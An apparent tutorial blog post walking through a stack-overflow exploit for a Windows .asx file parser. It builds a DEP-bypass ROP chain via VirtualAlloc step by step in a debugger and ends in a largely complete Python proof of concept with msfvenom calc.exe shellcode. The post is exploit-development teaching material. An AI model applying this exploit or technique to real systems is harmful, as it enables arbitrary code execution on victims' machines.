![ASX Bypass Screenshot-1 ASX Bypass Screenshot-1](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-1.png)
..<snip>
![ASX Bypass Screenshot-2 ASX Bypass Screenshot-2](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-2.png)
![ASX Bypass Screenshot-3 ASX Bypass Screenshot-3](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-3.png)
Opening rop_chains.txt will provide an extensive list of rop chains that could potentially be used to bypass DEP. In this case we choose the Python implementation of making a Windows API call to the VirtualAlloc() function to change the state of a small region of memory where our buffer exists. Mainly, setting it to be executable.
![ASX Bypass Screenshot-4 ASX Bypass Screenshot-4](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-4.png)
![ASX Bypass Screenshot-5 ASX Bypass Screenshot-5](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-5.png)
The method we will use to perform this call is to load all the API parameters into the various registers and use a PUSHAD instruction to push them to the stack in the proper order, and then return to a pointer to the VirtualAlloc() function pointer. (The alternative method would be to carve the parameters directly into the stack)
Looking at the rop chain mona provides we can immediately we see that we will not be able to simply plug-and-play with the output. Mona was unable to compute chains for setting the edx register, and a pushad instruction. So these will need to be done manually.
*** [ Python ] ***
def create_rop_chain():
# rop chain generated with mona.py – www.corelan.be
rop_gadgets = [
#[—INFO:gadgets_to_set_esi:—]
0x1003bcac, # POP EAX # RETN [MSA2Mfilter03.dll]
0x1004f060, # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
0x1003239f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
0x1003b386, # PUSH EAX # PUSHAD # MOV DWORD PTR DS:[EDX+4],EAX # MOV EAX,ESI # POP ESI # RETN [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_ebp:—]
0x1002f7d7, # POP EBP # RETN [MSA2Mfilter03.dll]
0x1003df8e, # & push esp # ret [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_ebx:—]
0x1003bcac, # POP EAX # RETN [MSA2Mfilter03.dll]
0x74a02076, # put delta into eax (-> put 0x00000001 into ebx)
0x10032280, # ADD EAX,8B5FDF8B # RETN [MSA2Mfilter03.dll]
0x10034735, # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_edx:—]
0x00000000, # [-] Unable to find gadget to put 00001000 into edx
#[—INFO:gadgets_to_set_ecx:—]
0x10021622, # POP ECX # RETN [MSA2Mfilter03.dll]
0xffffffff, #
0x10031ebe, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031ebe, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
..<snip>..
0x10031ebe, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_edi:—]
0x100301c6, # POP EDI # RETN [MSA2Mfilter03.dll]
0x1001d204, # RETN (ROP NOP) [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_eax:—]
0x1002b95d, # POP EAX # RETN [MSA2Mfilter03.dll]
0x90909090, # nop
#[—INFO:pushad:—]
0x00000000, # [-] Unable to find pushad gadget
]
return ”.join(struct.pack(‘<I’, _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
When building ROP chains in this fashion, where we write our function parameter values into the registers, we have to be weary of the order in which we perform our chains since each subsequent chain may have an impact on the registers to which we already wrote a value. For example, the EAX register is often used to conduct calculations to align other registers and push them to the stack. For this reason, it usually makes sense to do the EAX register’s chain last otherwise we risk overwriting it while pushing values into other registers.
For now, we will table the two chains that we didn’t get from mona and implement the ones that we did get. Add the rop chain for the ESI register that we got from mona to our original python script
![ASX Bypass Screenshot-6 ASX Bypass Screenshot-6](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-6.png)
Let’s test this by executing the python script and generating a new payload file. Attach Immunity to the process and place a breakpoint at our initial RETN instruction, 10048005, so we can observe the rop chain in action. Triggering the vulnerability drops us at our breakpoint and right away we can see the top of our stack contains the instructions from mona’s chain.
![ASX Bypass Screenshot-7 ASX Bypass Screenshot-7](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-7.png)
F7 to step into the RETN instruction will take us to our first address, 1003BCAC.
![ASX Bypass Screenshot-8 ASX Bypass Screenshot-8](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-8.png)
Stepping into the next two instruction will pop the value that is currently at the top of the stack into the EAX register, and then return us to the following address, 1003239F
![ASX Bypass Screenshot-9 ASX Bypass Screenshot-9](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-9.png)
The next instruction will take the value pointed to by the address currently stored in EAX and move that into EAX which, if we follow 1004F060 in dump, we can see that it contains 76444D30.
![ASX Bypass Screenshot-10 ASX Bypass Screenshot-10](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-10.png)
EAX now contains 76444D30
![ASX Bypass Screenshot-11 ASX Bypass Screenshot-11](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-11.png)
![ASX Bypass Screenshot-12 ASX Bypass Screenshot-12](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-12.png)
![ASX Bypass Screenshot-13 ASX Bypass Screenshot-13](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-13.png)
So we will continue to proceed in this fashion: Adding each rop chain component into our script piece by piece, verifying that the register received the correct value before moving on. The next register in mona’s list is EBP which needs to contain the ReturnTo address. According the MSDN article: “If the function succeeds, the return value is the base address of the allocated region of pages.” So essentially, the value in EBP needs to contain some sort of pointer (i.e. a jmp or call) to ESP as ESP is what contains our buffer
From here
![ASX Bypass Screenshot-14 ASX Bypass Screenshot-14](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-14.png)
Generate the payload file, set the breakpoint, and step into the instructions until we can validate that the EBP register now contains the address of our push esp # ret instruction set. After first stepping through our ESI chain we are successfully taken to the start of our chain for the ebp register:
![ASX Bypass Screenshot-15 ASX Bypass Screenshot-15](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-15.png)
By the end of the chain we see that EBP contains the address 1003DF8E
![ASX Bypass Screenshot-16 ASX Bypass Screenshot-16](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-16.png)
If we follow 1003DF8E in the disassembler we can confirm that EBP indeed points to a push retn instruction set
![ASX Bypass Screenshot-17 ASX Bypass Screenshot-17](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-17.png)
![ASX Bypass Screenshot-18 ASX Bypass Screenshot-18](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-18.png)
From here
Recalling that the calc.exe msfvenom payload was roughly 220 bytes and that we will want room for NOP instructions, we will be sure to allocate a comfortable amount of space in memory, like 280 bytes.
![ASX Bypass Screenshot-19 ASX Bypass Screenshot-19](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-19.png)
![ASX Bypass Screenshot-20 ASX Bypass Screenshot-20](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-20.png)
![ASX Bypass Screenshot-21 ASX Bypass Screenshot-21](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-21.png)
![ASX Bypass Screenshot-22 ASX Bypass Screenshot-22](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-22.png)
![ASX Bypass Screenshot-23 ASX Bypass Screenshot-23](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-23.png)
![ASX Bypass Screenshot-24 ASX Bypass Screenshot-24](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-24.png)
![ASX Bypass Screenshot-25 ASX Bypass Screenshot-25](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-25.png)
![ASX Bypass Screenshot-26 ASX Bypass Screenshot-26](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-26.png)
Now we can implement the next register, ECX, which needs to contain a value for the flProtect parameter which represents the type of memory protection for the region of pages to be allocated. Per the following MSDN documents: https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants needs to be 0x40 since that corresponds to the
PAGE_EXECUTE_READWRITE memory constant.
![ASX Bypass Screenshot-27 ASX Bypass Screenshot-27](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-27.png)
Appropriating the chain straight from mona we drop this into our script. The below image is truncated for brevity
![ASX Bypass Screenshot-28 ASX Bypass Screenshot-28](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-28.png)
Walking through the script in the debugger we can see ECX populated with a value of 40
![ASX Bypass Screenshot-29 ASX Bypass Screenshot-29](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-29.png)
Next in our list of rop chains is the EDI register, also not too complicated as it merely need a ROP NOP.
![ASX Bypass Screenshot-30 ASX Bypass Screenshot-30](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-30.png)
So once again, we can use exactly what mona gave us in our script. Validating that our execution flow hits the EDI rop chain:
![ASX Bypass Screenshot-31 ASX Bypass Screenshot-31](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-31.png)
Stepping through the next two instructions:
![ASX Bypass Screenshot-32 ASX Bypass Screenshot-32](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-32.png)
The next register we need to address is EAX which, according to mona needs only to be filled with NOPs instructions.
![ASX Bypass Screenshot-33 ASX Bypass Screenshot-33](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-33.png)
So once again, not needing to overcomplicate this, we can take the chain straight from mona and drop it into our script
![ASX Bypass Screenshot-34 ASX Bypass Screenshot-34](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-34.png)
Walk through the chains again and confirm that EAX has only \x90s in it. We land at our EAX rop chain and see that a POP EAX instruction is queued up and ready to pop 4 NOPs into EAX:
![ASX Bypass Screenshot-35 ASX Bypass Screenshot-35](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-35.png)
EAX is set with NOPs.
![ASX Bypass Screenshot-36 ASX Bypass Screenshot-36](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-36.png)
At this stage, we have completed all registers except EDX which is the flAllocationType parameters of VirtualAlloc. This value needs to contain
0x00001000 which corresponds to MEM_COMMIT. This allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages.
From here
![ASX Bypass Screenshot-37 ASX Bypass Screenshot-37](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-37.png)
Since EDX needs to contain 1000 we can leverage some simple hex calculations to get us there. For example, we know that the ADC instruction
*adds the destination operand (first operand), the source operand (second operand), and the carry (CF) flag and stores the result in the destination operand. This means, we can load EDX and some other register with values that, when added (including the carry flag), the total sum comes out to be 1000.
*From <https://www.felixcloutier.com/x86/adc>
With this in mind, we can think of adding values such as EEEEFEEF and 11111111 where EDX would contain EEEEFEEF since it would be the destination register and contain the resultant sum.
Also we can arbitrarily select the source register to help us with the computation but ultimately it depends on what gadgets are available to us. After searching rop_suggestions.txt, we find a # ADC EDX,ESI # POP ESI # RETN instruction sequence. The POP ESI here is actually negligible because all we need is the ADC instruction to get our EDX value. But there are no gadgets in the file that are only # ADC EDX,ESI # RET. Since the POP ESI has no bearing on the rest of our chain we can use this gadget.
So our goals here are:
- Clear out EDX register to prime it for EEEEFEEF
- Pack our chain with the value EEEEFEEF so it’s on the stack in preparation for popping it
- Pop EEEEFEEF into EDX (need a # POP EDX # RETN)
- Pack our chain once again but this time with 11111111 so it’s on the stack in preparation to pop it into ESI
- Pop 11111111 into ESI (need a # POP ESI # RETN)
- Pack the chain with some NOPs to account for our extra POP ESI which is uneeded
ADC the EDX and ESI registers
#[—INFO:gadgets_to_set_edx:—]
rop += struct.pack(‘<L’, 0x10029B8C) # XOR EDX,EDX # RETN
rop += struct.pack(‘<L’, 0x1002D493) # POP EDX # RETN
rop += struct.pack(‘<L’, 0xEEEEFEEF)
rop += struct.pack(‘<L’, 0x1004a474) # POP ESI # RETN
rop += struct.pack(‘<L’, 0x11111111)
rop += struct.pack(‘<L’, 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
rop += struct.pack(‘<L’, 0x90909090)
Drop the chain into our script, generate a new payload file, set breakpoint, and trigger the vulnerability to confirm that EDX gets filled with correct value
![ASX Bypass Screenshot-38 ASX Bypass Screenshot-38](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-38.png)
![ASX Bypass Screenshot-39 ASX Bypass Screenshot-39](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-39.png)
![ASX Bypass Screenshot-40 ASX Bypass Screenshot-40](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-40.png)
![ASX Bypass Screenshot-41 ASX Bypass Screenshot-41](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-41.png)
![ASX Bypass Screenshot-42 ASX Bypass Screenshot-42](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-42.png)
![ASX Bypass Screenshot-43 ASX Bypass Screenshot-43](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-43.png)
![ASX Bypass Screenshot-44 ASX Bypass Screenshot-44](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-44.png)
![ASX Bypass Screenshot-45 ASX Bypass Screenshot-45](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-45.png)
![ASX Bypass Screenshot-46 ASX Bypass Screenshot-46](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-46.png)
Now that EDX is set, we can step through the entirety of our ROP chain now and confirm all registers hold the proper values
![ASX Bypass Screenshot-47 ASX Bypass Screenshot-47](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-47.png)
All that’s left is to push these values to the stack and subsequently return to the VirtuaAlloc function to execute. Ideally, we would use a pushad instruction to push everything to the stack however, mona was unable to come up with a rop chain for this as well which means we will need to use some more black magic to get us there. We need a standalone # PUSHAD # RETN instruction set but sadly do not have one readily available to us.
![ASX Bypass Screenshot-48 ASX Bypass Screenshot-48](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-48.png)
To workaround this we can first look for a memory address with a pushad # retn instruction set. Then we can find an existing ADD or SUB operation on another register and compute a value of our own which, when added or subtracted with the value in said instruction, equals the address of the PUSHAD # RETN sequence we found. To put it simply, say for example:
- Say we find an instruction in memory like ADD EAX, 5
- And say we’ve found an address in memory where our PUSHAD RETN sequence exists and it’s 12
Since we can control value that get pushed onto the stack (as we’ve previously done) we can push something like 7 to the stack now, and pop it into the EAX register. Now, when we return to the address where we ADD EAX, 5 we will ultimately be putting a value of 12 into EAX. With that being the case, we can subsequently find a gadget that pushes EAX (12) to the stack and returns to it. 12 being analogous to the memory location containing our PUSHAD RETN instruction.
So first, search the rop.txt file for an arbitrary instruction that add some value to some register. In this case, let’s look for EAX since we used it in our analogy above. Great, we find an address where we add 5B5D5E5F to EAX.
![ASX Bypass Screenshot-49 ASX Bypass Screenshot-49](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-49.png)
Locate a PUSHAD # RETN instruction sequence somewhere in memory and note the address: 004050D4.
![ASX Bypass Screenshot-50 ASX Bypass Screenshot-50](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-50.png)
So we have:
ADD EAX, 5B5D5E5F
and our target address: 004050D4
We want to find some number to put in EAX such that XXXXXXXX + 5B5D5E5F = 004050D4. That is,
004050D4 – 5B5D5E5F = A4E2F275
![ASX Bypass Screenshot-51 ASX Bypass Screenshot-51](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-51.png)
Thus, we want to get A4E2F275 into EAX and return to the memory address where containing ADD EAX, 5B5D5E5F because this will give us the address of the PUSHAD # RETN instruction sequence we need to push all our register values to the stack. After searching rop.txt for the needed instructions to do this, we get:
![ASX Bypass Screenshot-52 ASX Bypass Screenshot-52](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-52.png)
Loading this up in Immunity and stepping though we confirm we hit our rop chain for pushad.
![ASX Bypass Screenshot-53 ASX Bypass Screenshot-53](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-53.png)
Pop A4E2F275 into EAX
![ASX Bypass Screenshot-54 ASX Bypass Screenshot-54](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-54.png)
Get ready to ADD A4E2F275 and 5B5D5E5F
![ASX Bypass Screenshot-55 ASX Bypass Screenshot-55](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-55.png)
EAX now holds the address of our PUSHAD RETN instruction
![ASX Bypass Screenshot-56 ASX Bypass Screenshot-56](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-56.png)
We push it to the stack
![ASX Bypass Screenshot-57 ASX Bypass Screenshot-57](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-57.png)
![ASX Bypass Screenshot-58 ASX Bypass Screenshot-58](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-58.png)
Return to it, and we are redirected to our PUSHAD RETN instruction set!
![ASX Bypass Screenshot-59 ASX Bypass Screenshot-59](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-59.png)
If we step into the next two instructions we finally see our VirtualAlloc loaded with all the parameters on the stack, ready to be executed. Making special note of the start address of our executable memory space: 000FC640 and our return to ESP address: 1003DF8E stored in the EBP register.
![ASX Bypass Screenshot-60 ASX Bypass Screenshot-60](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-60.png)
Taking the function for a spin, we get to our return address which means the function successfully executed.
![ASX Bypass Screenshot-61 ASX Bypass Screenshot-61](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-61.png)
We push the address in ESP to the stack
![ASX Bypass Screenshot-62 ASX Bypass Screenshot-62](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-62.png)
Return to it
![ASX Bypass Screenshot-63 ASX Bypass Screenshot-63](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-63.png)
OOF. We hit a snag when approaching our buffer in the disassembler.
![ASX Bypass Screenshot-64 ASX Bypass Screenshot-64](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-64.png)
After some head scratching and heartburn we realize that the ESP address to which we returned is 000FC63C but the actual start of our executable memory space is 000FC640. It would seem that we were returned to an address space just 4 bytes shy of where we needed to be. HEX chart for reference below:
![ASX Bypass Screenshot-65 ASX Bypass Screenshot-65](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-65.png)
Recalling that the EBP register is responsible for holding the value of the return address
![ASX Bypass Screenshot-66 ASX Bypass Screenshot-66](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-66.png)
We can go and review this in Immunity and confirm that it indeed points to a PUSH ESP.
![ASX Bypass Screenshot-67 ASX Bypass Screenshot-67](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-67.png)
So a quick and dirty fix would be to amend our EBP rop chain with an address that points to an ADD ESP, 8 # RETN instruction. Searching our rop.txt file for such a gadget yields many results.
![ASX Bypass Screenshot-68 ASX Bypass Screenshot-68](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-68.png)
We pick an address and drop it into our rop chain for the ebp register:
![ASX Bypass Screenshot-69 ASX Bypass Screenshot-69](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-69.png)
Save. Run the script. Track the execution flow in Immunity again. This time we are taken to our ADD ESP,8 instruction
![ASX Bypass Screenshot-70 ASX Bypass Screenshot-70](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-70.png)
And now, when we finally return to ESP we land inside our NOPs as well as our executable memory space.
![ASX Bypass Screenshot-71 ASX Bypass Screenshot-71](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-71.png)
And we can confirm that we can freely execute our NOPs with no Access Violation errors
![ASX Bypass Screenshot-72 ASX Bypass Screenshot-72](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-72.png)
So now, all that’s left is to re-add our calc.exe payload back into the script.
![ASX Bypass Screenshot-73 ASX Bypass Screenshot-73](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-73.png)
..<snip>..
![ASX Bypass Screenshot-74 ASX Bypass Screenshot-74](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-74.png)
In Immunity we see our calc shellcode ready to be executed.
![ASX Bypass Screenshot-75 ASX Bypass Screenshot-75](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-75.png)
Hitting F9 to let the process continue running shows that the calc.exe program has indeed been launched!
![ASX Bypass Screenshot-76 ASX Bypass Screenshot-76](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-76.png)
W00T!
![ASX Bypass Screenshot-77 ASX Bypass Screenshot-77](https://blackcat.enthusiastinc.net/wp-content/uploads/2023/01/ASX-Bypass-Screenshot-77.png)
Full PoC
import struct
file = ‘poc.asx’
#msfvenom -p windows/exec cmd=calc.exe -a x86 -b ‘\x00\x0a\x0d\x5d’ -v calc -f python
calc = calc = b””
calc += b”\x33\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81″
calc += b”\x76\x0e\x30\xc6\xc6\xef\x83\xee\xfc\xe2\xf4\xcc\x2e”
calc += b”\x44\xef\x30\xc6\xa6\x66\xd5\xf7\x06\x8b\xbb\x96\xf6″
calc += b”\x64\x62\xca\x4d\xbd\x24\x4d\xb4\xc7\x3f\x71\x8c\xc9″
calc += b”\x01\x39\x6a\xd3\x51\xba\xc4\xc3\x10\x07\x09\xe2\x31″
calc += b”\x01\x24\x1d\x62\x91\x4d\xbd\x20\x4d\x8c\xd3\xbb\x8a”
calc += b”\xd7\x97\xd3\x8e\xc7\x3e\x61\x4d\x9f\xcf\x31\x15\x4d”
calc += b”\xa6\x28\x25\xfc\xa6\xbb\xf2\x4d\xee\xe6\xf7\x39\x43″
calc += b”\xf1\x09\xcb\xee\xf7\xfe\x26\x9a\xc6\xc5\xbb\x17\x0b”
calc += b”\xbb\xe2\x9a\xd4\x9e\x4d\xb7\x14\xc7\x15\x89\xbb\xca”
calc += b”\x8d\x64\x68\xda\xc7\x3c\xbb\xc2\x4d\xee\xe0\x4f\x82″
calc += b”\xcb\x14\x9d\x9d\x8e\x69\x9c\x97\x10\xd0\x99\x99\xb5″
calc += b”\xbb\xd4\x2d\x62\x6d\xac\xc7\x62\xb5\x74\xc6\xef\x30″
calc += b”\x96\xae\xde\xbb\xa9\x41\x10\xe5\x7d\x36\x5a\x92\x90″
calc += b”\xae\x49\xa5\x7b\x5b\x10\xe5\xfa\xc0\x93\x3a\x46\x3d”
calc += b”\x0f\x45\xc3\x7d\xa8\x23\xb4\xa9\x85\x30\x95\x39\x3a”
calc += b”\x53\xa7\xaa\x8c\x1e\xa3\xbe\x8a\x30\xc6\xc6\xef”
buffer = “http://” + “A” * 17417
retn = “\x05\x80\x04\x10” # 10048005 – RETN
#Register setup for VirtualAlloc() :
#——————————————–
# EAX = NOP (0x90909090)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize
# ESP = lpAddress (automatic)
# EBP = ReturnTo (ptr to jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)
#VirtualAlloc() Function Params :
#——————————————–
#LPVOID VirtualAlloc( -ESI
# LPVOID lpAddress, -ESP
# SIZE_T dwSize, -EBX
# DWORD flAllocationType, -EDX
# DWORD flProtect -ECX
#);
rop = struct.pack(‘<L’,0x42424242)
#[—INFO:gadgets_to_set_edx:—]
rop += struct.pack(‘<L’, 0x10029B8C) # XOR EDX,EDX # RETN
rop += struct.pack(‘<L’, 0x1002D493) # POP EDX # RETN
rop += struct.pack(‘<L’, 0xEEEEFEEF)
rop += struct.pack(‘<L’, 0x1004a474) # POP ESI # RETN
rop += struct.pack(‘<L’, 0x11111111)
rop += struct.pack(‘<L’, 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
rop += struct.pack(‘<L’, 0x90909090)
#[—INFO:gadgets_to_set_esi:—]
rop += struct.pack(‘<L’,0x1003bcac) # POP EAX # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10040754) # PUSH EAX # PUSHAD # MOV DWORD PTR DS:[EDX+4],EAX # MOV EAX,ESI # POP ESI # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x90909090)
rop += struct.pack(‘<L’,0x90909090)
#[—INFO:gadgets_to_set_ebp:—]
rop += struct.pack(‘<L’,0x1002f7d7) # POP EBP # RETN [MSA2Mfilter03.dll]
#rop += struct.pack(‘<L’,0x1003df8e) # & push esp # ret [MSA2Mfilter03.dll] # 4 bytes too short
rop += struct.pack(‘<L’,0x10022471) # ADD ESP,8 # RETN
#[—INFO:gadgets_to_set_ebx:—]
rop += struct.pack(‘<L’, 0x1002f25f) # XOR EAX,EAX # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’, 0x1004231b) # ADD EAX,20 # RETN
rop += struct.pack(‘<L’,0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN [MSA2Mfilter03.dll]
#[—INFO:gadgets_to_set_ecx:—]
rop += struct.pack(‘<L’,0x10021622) # POP ECX # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0xffffffff) #
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
rop += struct.pack(‘<L’,0x10031ebe) # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
